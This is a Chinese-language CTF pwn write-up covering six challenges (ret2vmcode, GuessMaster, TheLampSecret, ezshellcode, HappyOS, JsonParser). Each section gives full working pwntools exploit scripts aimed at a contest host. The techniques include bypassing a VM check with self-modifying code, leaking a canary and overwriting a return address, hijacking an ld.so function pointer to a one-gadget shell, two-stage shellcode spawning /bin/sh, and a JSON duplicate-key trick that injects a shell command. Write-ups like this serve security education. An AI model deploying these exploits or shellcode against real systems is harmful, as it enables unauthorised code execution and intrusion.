ret2vmcode

虚拟机。首先逆向出指令格式:

def packins(opc, op1, op2):
    return pack(opc, 8) + p32(op1) + p32(op2)

def imm(reg, val):
    return packins(0xF1, reg, val)
def add(reg1, reg2):
    return packins(0xF2, reg1, reg2)
def xor(reg1, reg2):
    return packins(0xF4, reg1, reg2)
def push(reg):
    return packins(0xF5, reg, 0)
def pop(reg):
    return packins(0xF6, reg, 0)
def load(reg, addr):
    return packins(0xF7, reg, addr)
def store(reg, addr):
    return packins(0xF8, addr, reg)

"open(r1) -> r0"
def sys_open():
    return packins(0xF9, 3, 0)

"read(r1, r2, r3) -> r0"
def sys_read():
    return packins(0xF9, 1, 0)

"write(r1, r2, r3) -> r0"
def sys_write():
    return packins(0xF9, 2, 0)

虽然提供了几个 syscall,但被 vm_check 拦下了。好在提供的内存交互指令可以直接操控 imem,也就是自修改程序。我的思路是先写好恶意的 vm code 后,把涉及 sys 的 opcode 改成别的字符发送给程序,在运行我的 vm code 时将那几个字节改回 syscall 对应的 opcode,以此绕过只在读入时进行检查的 vm_check

TAKEWAY:对于允许自修改的 VM 型程序,只在读入代码时进行一次用户代码安全审查是不行的。

完整 EXP:

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>

from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18421

elf = ELF(filename)
# libc = ELF(libc_name)

context.log_level = 'debug'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda :      io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)


def packins(opc, op1, op2):
    return pack(opc, 8) + p32(op1) + p32(op2)

def imm(reg, val):
    return packins(0xF1, reg, val)
def add(reg1, reg2):
    return packins(0xF2, reg1, reg2)
def xor(reg1, reg2):
    return packins(0xF4, reg1, reg2)
def push(reg):
    return packins(0xF5, reg, 0)
def pop(reg):
    return packins(0xF6, reg, 0)
def load(reg, addr):
    return packins(0xF7, reg, addr)
def store(reg, addr):
    return packins(0xF8, addr, reg)

"open(r1) -> r0"
def sys_open():
    return packins(0xF9, 3, 0)

"read(r1, r2, r3) -> r0"
def sys_read():
    return packins(0xF9, 1, 0)

"write(r1, r2, r3) -> r0"
def sys_write():
    return packins(0xF9, 2, 0)


def pwn():

    ru(b'Initialized at ')
    mem_ptr = int(ru(b'.')[:-1], 16)
    print(f"mem_ptr: {hex(mem_ptr)}")

    """
    [DEBUG] Sent 0xac bytes:
        00000000  f1 00 00 00  00 00 00 00  00 f1 02 00  00 00 c0 16  │····│····│····│····│
        00000010  dd 56 f8 02  00 00 00 00  00 00 00 f1  00 00 00 00  │·V··│····│····│····│
        00000020  00 00 00 00  f1 02 00 00  00 c0 16 dd  56 f8 02 00  │····│····│····│V···│
        00000030  00 00 00 00  00 00 f1 00  00 00 00 00  00 00 00 f1  │····│····│····│····│
        00000040  02 00 00 00  c0 16 dd 56  f8 02 00 00  00 00 00 00  │····│···V│····│····│
        00000050  00 f1 01 00  00 00 c0 18  dd 56 f1 00  00 00 00 66  │····│····│·V··│···f│
        00000060  6c 61 67 f8  01 00 00 00  00 00 00 00  f1 02 00 00  │lag·│····│····│····│
        00000070  00 d0 18 dd  56 f1 03 00  00 00 30 00  00 00 f9 03  │····│V···│··0·│····│
        00000080  00 00 00 00  00 00 00 f1  01 00 00 00  03 00 00 00  │····│····│····│····│
        00000090  f9 01 00 00  00 00 00 00  00 f1 01 00  00 00 01 00  │····│····│····│····│
        000000a0  00 00 f9 02  00 00 00 00  00 00 00 0a               │····│····│····│
        000000ac
    """
    
    code = b""
    code += imm(0, 0x03f90000)
    code += imm(2, mem_ptr+0x7c)
    code += store(0, 2)
    code += imm(0, 0x01f9)
    code += imm(2, mem_ptr+0x90)
    code += store(0, 2)
    code += imm(0, 0x02f90000)
    code += imm(2, mem_ptr+0xa0)
    code += store(0, 2)

    code += imm(1, mem_ptr+0x200)
    code += imm(0, 0x67616c66) # flag
    code += store(0, 1)

    code += imm(2, mem_ptr+0x210)
    code += imm(3, 0x30)

    code += packins(0xE9, 3, 0) # sys_open

    code += imm(1, 3)
    code += packins(0xE9, 1, 0) # sys_read

    code += imm(1, 1)
    code += packins(0xE9, 2, 0) # sys_write

    sl(code)

    io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
    b vm_check
    b sys
    c
'''

if __name__ == "__main__":
    print("[*] Cameudis's PWN Framework")
    if len(sys.argv) == 1:
        io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
    elif sys.argv[1] == "d":
        io = process(filename)
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for direct without debug")
        print("\tr for remote")
        exit()

    pwn()

GuessMaster

随机数种子选取过于简单,可以轻易破解。根据本地测试,在脚本中取时间戳后再加 110 偏移就可以拿到目标种子。然后泄露 canary 就可以把 main 返回地址改成后门函数地址了。

TAKEAWAY:如果随机数是安全攸关的,随机种子就不应该选取可预测的值。

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>

from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

from ctypes import *

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18659

elf = ELF(filename)
# libc = ELF(libc_name)

context.log_level = 'debug'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda :      io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)

def pwn():
    
    libc = cdll.LoadLibrary("libc.so.6")
    t = (libc.time(0) & 0xffffffff) + 110
    print("Seed: ", t)
    libc.srand(t)

    for i in range(100):
        sl(str(libc.rand()).encode())

    ru("什么吧!".encode())
    s(b'a'*0x108+b'b')
    ru(b'b')

    mes = r()
    canary = mes[:7]
    print(canary)

    s(b'a'*0x108+b'\0'+canary+b'a'*8+b'\x93')

    io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
    # b srand
    c
'''

if __name__ == "__main__":
    print("[*] Cameudis's PWN Framework")
    if len(sys.argv) == 1:
        io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
    elif sys.argv[1] == "d":
        io = process(filename)
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for direct without debug")
        print("\tr for remote")
        exit()

    pwn()

TheLampSecret

reset 中存在整数下溢的漏洞,允许用户分配一块 0x114514 大小的内存,并可以相对这块空间进行任意内存读写。

0x114514 大小的空间由 mmap 分配,默认会和 libc.so.6, ld.so 分配在相近的位置上,且它们的相对偏移一致。(这个特性是不是在 ubuntu 22 对应的内核版本中修复了?)但经过本地测试,攻击者可以控制的只有 ld.so 的部分。

使用 pwndbg 的 tele 功能,可以检查 ld.sorw- 部分内存中有哪些数据,首当其冲的就是 _rtld_global 结构体,并且里面一看就有很多函数指针。上网搜索,可以找到 [原创]hctf2018_the_end(IO FILE attack 和 exit_hook attack)-Pwn-看雪-安全社区|安全招聘|kanxue.com 这篇 wp(写得巨烂,疑似是搬运或者缝合的):劫持 __rtld_lock_unlock_recursive 这个函数指针,可以在 exit 时触发控制流劫持,具体调用链是 exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

在上面这篇 wp 中,该函数指针的偏移是 __rtld_lock_unlock_recursive = _rtld_global + 0xf08,经过我的实测,更改这个位置的函数指针确实可以触发 RCE,但疑似题目函数设计导致没办法改到这个位置。

所以我采取了非常简单粗暴的方法,在 gdb 里把 _rtld_global 的所有函数指针都替换为我自己的标记,然后触发程序退出,看看哪个函数指针会被调用。最后发现 0xf10 处的函数指针就可以。

然后,再调试看看对应版本 libc.so.6 里哪个 one gadget 能用,就可以 get shell 了。

在本地 get shell 后还有个问题。不同内核版本跑这个程序的时候,偏移也会不一样。虽然 docker 可以屏蔽用户态框架的差异,但毕竟用的内核还是本机实际的内核。我基于 docker 环境中的偏移,试了 4、5 次,拿到了远程的偏移,打通了这题。

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>

from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "/home/y2/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18877
# ip = "127.0.0.1"
# port = 9999

elf = ELF(filename)
libc = ELF(libc_name)

context.log_level = 'debug'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda :      io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)


def pwn():
    # https://bbs.kanxue.com/thread-262459.htm
    
    sla(b'> ', b'5')
    sla(b': ', b'0')

    sla(b'> ', b'1')
    sla(b': ', b'0')
    sa(b': ', b'a'*0x18)

    sla(b'> ', b'2')
    sla(b': ', b'0')
    ru(b'a'*0x18)
    libc.address = u64(ru(b'1.')[:6].ljust(8, b'\0')) - libc.sym['_IO_2_1_stdout_']
    log.info(f'libc leak: {hex(libc.address)}')

    sla(b'> ', b'1')
    # sla(b': ', f'{0x116f48//0x40}'.encode())
    # sla(b': ', f'{0x123f48//0x40}'.encode())
    sla(b': ', f'{0x119f48//0x40}'.encode()) # 试了4、5次就找到了
    sa(b': ', flat([
        libc.address + 0xf03a4,
    ]))

    sla(b'> ', b'6')
    sla(b': ', b'thanks tomorin')

    io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
    # set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
    set disable-randomization off
    c
'''

if __name__ == "__main__":
    print("[*] Cameudis's PWN Framework")
    """
    if len(sys.argv) == 1:
        io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
    elif sys.argv[1] == "d":
        io = process(filename)
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for direct without debug")
        print("\tr for remote")
        exit()
    """
    io = remote(ip, port)

    pwn()

ezshellcode

pwn.college 告诉我们,在 shellcode 受限的情况下,应该考虑分两个阶段读入 shellcode。虽然在进入执行 shellcode 时,有三个寄存器都保存了 shellcode 的地址,但程序 ban 了 64-bits 的 PREFIX,使我们没办法把地址直接移动到 rsi 寄存器中进行 read(0, buf, size)

好在,查询 coder64 edition | X86 Opcode and Instruction Reference 1.12 时我发现 pop r64 的指令编码居然是 58+r ,这意味着 pop rsi 这条指令没有被 ban。通过调试发现,七条 pop 就可以把站上保存的那个 shellcode 地址拿出来。

    # http://ref.x86asm.net/coder64.html#:~:text=Onto%20the%20Stack-,58%2Br,-E
    readcode = asm(f"""
    mov edi, 0
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    mov edx, 0xff
    mov eax, 0
    syscall
    """)

然后读入第二阶段的 shellcode 就可以 get shell 了。完整 exp 如下:

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2025 y2 <cameudis@gmail.com>

from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "./libc.so.6"
ip = "instance.penguin.0ops.sjtu.cn"
port = 18724

elf = ELF(filename)
# libc = ELF(libc_name)

context.log_level = 'debug'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda :      io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)


def pwn():
    # step 1 shellcode

    # http://ref.x86asm.net/coder64.html#:~:text=Onto%20the%20Stack-,58%2Br,-E
    readcode = asm(f"""
    mov edi, 0
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    pop rsi
    mov edx, 0xff
    mov eax, 0
    syscall
    """)
    
    payload = b''
    for b in readcode:
        payload += hex(b)[2:].rjust(2, '0').encode()
    s(payload)

    # step 2 shellcode
    pause()
    shcode = asm(shellcraft.sh())
    s(b'\x90'*len(readcode) + shcode)

    io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
    # set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
    b *$rebase(0x156A)
    c
'''

if __name__ == "__main__":
    print("[*] Cameudis's PWN Framework")
    if len(sys.argv) == 1:
        io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
    elif sys.argv[1] == "d":
        io = process(filename)
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for direct without debug")
        print("\tr for remote")
        exit()

    pwn()

TAKEAWAY: coder64 edition | X86 Opcode and Instruction Reference 1.12 这个网站很好用。

HappyOS

这题应该打逆向 Tag 才对,主要的时间都花在登录上了。

结合 gdb 和 ida 慢慢调试,可以发现程序会根据用户输入的密码,计算一个 SHA256 哈希(调试发现神秘常数,谷歌发现是 SHA256),然后和用户名匹配的哈希进行比较。虽然 root 用户的 SHA256 并不简单,但 user 用户用了弱密码(123456),一查就查到了,于是终于登录上。

登录后,逆向 link 相关功能的时候,随便试了几下就突然把 flag 打出来了哈哈:

$ ln flag.txt flag.txt
$ cat flag.txt

JsonParser

ANTLR 是一个语法解析器生成器,和笔者学过的 lex+yacc 类似。在指定了某种语法后,ANTLR 就可以将目标文件安装语法进行解析,并组织成语法树的形式。

题目基于 ANTLR 将 Json 文件解析为树的形式,然后自己实现了一个 Json 解析器 MyJSONListener,遍历语法树并同时将其转换为一棵由 JSONBaseNode 组成的树(内容基本上都会直接打印成字符串存在树里)。

程序最后会输出这样一个 Json 文件:

{
	"cmd": "echo 'Haha, try to hack me!'",
	"data": <User's Input Json>
}

并将其输入给 jq -s -r .[0].cmd | bash ,即执行 cmd 部分的内容。

注意到,jq-s 选项意思是把所有输入的 json object 合成一个数组进行处理,因此这种输入就没办法触发命令执行:

{
	"cmd": "echo 'Haha, try to hack me!'",
	"data": ""
}
{
	"cmd": "cat flag"
}

但逆向程序时,一个函数启发了我:

unsigned __int64 __fastcall JSONObjectNode::AddItem(
        JSONObjectNode *self,
        __int64 keyString,
        __int64 (__fastcall ***currentNode)(_QWORD))
{
...
    if ( v5 <= strlen(dest_1) )
    {
      n = strlen(valString);
      memcpy(dest_1, valString, n);             // key!!!!!!!!!!!
    }
...
}

在为一个 Object({})添加新项时,如果该项的 key 和其他已经处理过的项相同,那么 value 会覆盖原来的项。这个行为在 jq 中也存在,所以下面这个 Json 文件就可以触发指令执行:

{
	"cmd": "echo 'Haha, try to hack me!'",
	"data": "",
	"cmd": "cat flag"
}

为了构造出这样的 Json 文件,需要我们在 data 里动手脚。首先假设我们可以在字符串中植入 \" 符号,且最终程序会将其当作 " 来处理,那么可以构造出这样的输入:

{
	"": " \"},\"cmd\":\"cat flag\"}{\"\":{\"\":\""
}

对应的输出是:

{
	"cmd":"echo 'Haha, try to hack me!'",
	"data":{"":" "},
	"cmd":"cat flag"
}
{
	"":
	{
		"": ""
	}
}

这样就可以令 bash 执行 cat flag 了。但回到现实中,程序不会把 \" 当作 " 来处理。

继续逆向程序,可以发现刚刚的 JSONObjectNode::AddItem 函数有个问题:程序使用了 ` memcpy ` 函数而不是 ` strcpy ` 函数,由于 ` size ` 参数为 ` n ,在复制时不会把 \0 ` 复制进去。也就是说,如果我们输入这样一个 Json:

{
	"pwn": "\"",
	"pwn": " "
}

两个 pwn 会合并成一个 "pwn": " "" ,这样我们就拿到了一个引号内的引号。

然后就可以利用这一点开始构造了。我的最终目标是:

{"":" "},"cmd":"cat f*"}{"":{"":""}

{"":"\"}\"cm\"\"cat f\"}{\":{\"\""}

只需要一个一个把其中的转义符吃掉就可以了,下面是我的攻击 payload:

{
	"":"\"}\"cm\"\"cat f\"}{\":{\"\"",
	"":"\"}\"cm\"\"cat f\"}{\":{\":",
	"":"\"}\"cm\"\"cat f\"}{\":\"",
	"":"\"}\"cm\"\"cat f\"}{\":{",
	"":"\"}\"cm\"\"cat f\"}\"",
	"":"\"}\"cm\"\"cat f\"}{",
	"":"\"}\"cm\"\"cat f*",
	"":"\"}\"cm\":",
	"":"\"}\"cmd",
	"":"\"},",
	"":" "
}
{"":"\"}\"cm\"\"cat f\"}{\":{\"\"","":"\"}\"cm\"\"cat f\"}{\":{\":","":"\"}\"cm\"\"cat f\"}{\":\"","":"\"}\"cm\"\"cat f\"}{\":{","":"\"}\"cm\"\"cat f\"}\"","":"\"}\"cm\"\"cat f\"}{","":"\"}\"cm\"\"cat f*","":"\"}\"cm\":","":"\"}\"cmd","":"\"},","":" "}

TAKEAWAY:在进行 C 风格字符串处理时,关于 NULL Byte 的处理非常关键。如果直接将 strlen 的结果作为 memcpy 的 size,就会发生没有合适截断的问题。